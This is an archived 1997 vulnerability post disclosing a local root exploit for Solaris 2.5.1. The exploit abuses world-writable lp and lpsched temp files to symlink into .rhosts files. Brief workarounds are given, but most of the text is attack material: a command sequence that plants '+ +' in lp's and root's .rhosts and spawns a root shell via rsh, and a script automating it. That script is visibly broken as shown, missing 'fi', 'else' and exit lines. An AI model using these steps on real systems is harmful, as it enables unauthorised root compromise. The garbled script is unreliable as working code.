Soaris lp and lpsched symlink vulnerabilities

Description:A typical symlink-to-.rhosts exploit
Author:Chris Sheldon (
Compromise: root (local)
Vulnerable Systems:Solaris 2.51, possibly others
Date:3 May 1997

Date: Sat, 3 May 1997 07:03:56 -0700
From: Chris Sheldon <csh@VIEWGRAPHICS.COM>
Subject: Solaris lpNet & temp files (exploit)

Hmmm... This is yet another temp file/symlink to .rhosts problem.
It seems to me that this should have been caught by someone by now.
I discovered (rediscovered?) and tested this on an unpatched solaris251
system. I did (quickly) check Sunsolve and the patchlist, but there
seems to be no reference to this kind of problem.

Also, HP JetAdmin is used in this script to break lp.

The quick and dirty:
  remote printing to the local spool causes a temp file to be
  created mode 666 owned by lp in /var/tmp. This can be used
  in conjunction with /var/lp/logs/lpsched, which is another
  temp file created mode 666 owned by root, to break root
  by first symlinking to /usr/spool/lp/.rhosts, becoming lp,
  symlinking to /.rhosts and, as lp, using /usr/sbin/lpshut
  to cause /.rhosts to be created mode 666 owned by root.

Q&D workaround:
  add "umask 022" to /etc/init.d/lp; restart /etc/init.d/lp
  su - root; touch /usr/spool/lp/.rhosts
  su - root; chown root /usr/spool/lp; chmod 755 /usr/spool/lp

Anyway, here it is:

# lpNet & temp file exploit:
#   break lp, then use lp priv to break root (or bin, etc...).
#   Written by: Chris Sheldon (
#   Tested on Solaris-2.5.1:
#     SunOS testhost 5.5.1 Generic sun4m sparc SUNW,SPARCstation-20
#   Caveat: This system is running without patches. Sun released
#     patch 103959-03 for 2.5.1 on Feb 27, 1997. lpNet and lpsched
#     were replaced in that patch, but the patch README does not
#     mention anything about a temp file or permissions problem.
#     103959-03 is in the recommended patch list, but not in the
#     "Patches containing security fixes" list.
#   This way (not using HP JetAdmin) *seems* to only work when you have
#   a postscript-only defined printer. If you send an ascii job to the
#   print queue, lpNet will invoke several of the /usr/lib/lp/postscript
#   programs to convert the ascii into postscript. One of them, postio(1),
#   creates a temp file in /var/tmp mode 666. If the request is sent from
#   a remote system (eg. handled by lpNet), then postio(1) runs as lp and
#   creates /var/tmp/<printer-name>.log as lp mode 666.
#   Here's part of the /var/lp/logs/request file:
#   = lp0-71, uid -1, gid -1, size 123, Sat May  3 03:26:14 PDT 1997
#   x /usr/lib/lp/postscript/postprint
#   y /usr/lib/lp/postscript/download -plp0|/usr/lib/lp/postscript/postio \
#       2>>$ERRFILE -L/var/tmp/lp0.log
#   t simple
#   What if you don't have a PS-only printer? Well, if you are using
#   the HP JetAdmin software and are running the hpnp daemon, then
#   you're just as vulnerable. The JetAdmin software creates a temp
#   file /var/tmp/jadump as lp with mode 666. It's happily follows
#   symlinks.
#   So, then exploit essentially is:
#     ln -s ~lp/.rhosts /var/tmp/<printer-name.log>
#      -or-
#     ln -s ~lp/.rhosts /var/tmp/jadump
#     rsh somehost lp somefile.txt
#     echo "+ +" >> ~lp/.rhosts
#     rsh -l lp localhost /bin/sh -i
#     mv /var/lp/logs/lpsched /var/lp/logs/
#     ln -s /.rhosts /var/lp/logs/lpsched
#     /usr/sbin/lpshut
#     /usr/lib/lpsched
#     mv /var/lp/logs/ /var/lp/logs/lpsched
#     echo "+ +" >> /.rhosts
#     rsh -l root localhost /bin/sh -i
#  Note: This won't clobber the permissions on an existing /.rhosts
#    file, but you can always symlink to /usr/bin/.rhosts.
#  Workaround:
#    Put "umask 022" in /etc/init.d/lp. /var/tmp/<printer-name>.log
#      will be mode 644. This also makes /var/lp/logs/lpsched
#      created as mode 644.
#    For /var/tmp/jadump, the umask trick didn't work. I just made
#    /usr/spool/lp 755 root/root (was 775 lp/lp).
#  I suppose as a general principal, it's a good thing to go around
#  as root and touch /.rhosts /usr/bin/.rhosts /usr/spool/lp/.rhosts
#  and /var/adm/.rhosts as 600 root/root. I also run a script which
#  checks the files (and their contents) on a regular basis.
#  Perhaps there should be a file called /etc/rusers which, like the
#  /etc/ftpusers file, denies any user in that file password-less
#  r-service access.
#  Of course, you still have to worry about things like .forward.
#  A more draconian approach would be to change /var/spool/lp to
#  mode 755 and owned by root. What would this break?? (anything?)
#  This is the JetAdmin/hpnpd script:

# Usage stuff.
if [ "$1" = "" ]; then
  echo "Usage: lp-exp <remote-host> [remote printer name]"
  echo "         remote-host: host must have networked printer"
  echo "           with the main spool on the local system."

# Specify a different queue
if [ "$2" != "" ]; then

# Check for ~lp/.rhosts
if [ -f /usr/spool/lp/.rhosts ]; then
  echo "lp's .rhosts file exists... sorry"

# Check if hpnpd is running
if [ "`ps -e | grep hpnpd`" != "" ]; then
  echo "found hpnpd running"
  rm -f /var/tmp/jadump
  ln -s /usr/spool/lp/.rhosts /var/tmp/jadump
  echo "If you have a postscript only printer, try that (see comments)."

# print some data on a remote system
if [ "$remlp" = "" ]; then
  rsh $remlp "echo ASCII-STRING | lp"
  rsh $remlp "echo ASCII-STRING | lp -d$remqn"

sleep 3

# Check for the new .rhosts file and break root
if [ -f /usr/spool/lp/.rhosts ]; then
  rm -f /var/tmp/jadump
  echo "+ +" >> /usr/spool/lp/.rhosts

  rsh -l lp localhost "rm /usr/spool/lp/.rhosts ;\
    mv /var/lp/logs/lpsched /var/lp/logs/ ;\
    ln -s /.rhosts /var/lp/logs/lpsched ;\
    /usr/sbin/lpshut ;\
    sleep 3 ;\
    /usr/lib/lpsched ;\
    mv /var/lp/logs/ /var/lp/logs/lpsched ;\
    echo \"+ +\" >> /.rhosts"
  echo "Hmmm... no .rhosts file was created."

rsh -l root localhost /bin/sh -i


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